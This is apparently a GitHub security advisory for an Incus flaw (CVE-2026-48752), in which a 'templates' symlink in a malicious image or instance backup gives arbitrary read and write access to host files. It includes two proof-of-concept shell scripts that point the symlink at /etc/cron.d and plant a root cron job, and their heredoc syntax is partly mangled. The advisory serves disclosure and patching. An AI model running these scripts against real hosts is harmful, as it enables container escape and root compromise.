GitHub Advisoryadvisory · Go
GHSA-vxp5-584q-c479 Incus has arbitrary file read+write on host via templates/ symlink in malicious image
CRITICAL
Official page ↗
- Aliases
- CVE-2026-48752
- Ecosystem
- Go
- Packages
- github.com/lxc/incus/v7/cmd/incusd
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-73
- Reviewed
- 2026-06-26
Affected packages
• Go github.com/lxc/incus/v7/cmd/incusd: < 7.2.0 → fixed in 7.2.0
Description
Summary
A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.
For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Malicious container image
Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.
```
!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
read
incus config template show afrw-image-templates-symlink $FILENAME
write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
incus config template edit afrw-image-templates-symlink poc
```
Malicious instance backup
Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.
```
!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/backup"
cat"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__
mkdir "${tmpdir}/img/backup/container"
cat"${tmpdir}/img/backup/container/backup.yaml"
container:
name: afrw-backup-templates-symlink
architecture: x86_64
type: container
status: Stopped
status_code: 102
stateful: false
ephemeral: false
profiles:
• default
config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
expanded_config:
volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
devices: {}
expanded_devices:
root:
path: /
pool: default
type: disk
created_at: "2024-01-01T00:00:00Z"
last_used_at: "2024-01-01T00:00:00Z"
volume:
name: afrw-backup-templates-symlink
type: container
content_type: filesystem
config: {}
pool:
name: default
driver: dir
config: {}
__EOF__
cat"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: afrw-backup-templates-symlink
__EOF__
mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink
incus config template ls afrw-backup-templates-symlink
read
incus config template show afrw-backup-templates-symlink $FILENAME
write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
incus config template edit afrw-templates-symlink poc
```
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Related
Alias · CVE (1)
- CVE-2026-48752 Incus is a system container and virtual machine manager. vulnerability
Weakness · CWE (1)
- CWE-73 External Control of File Name or Path weakness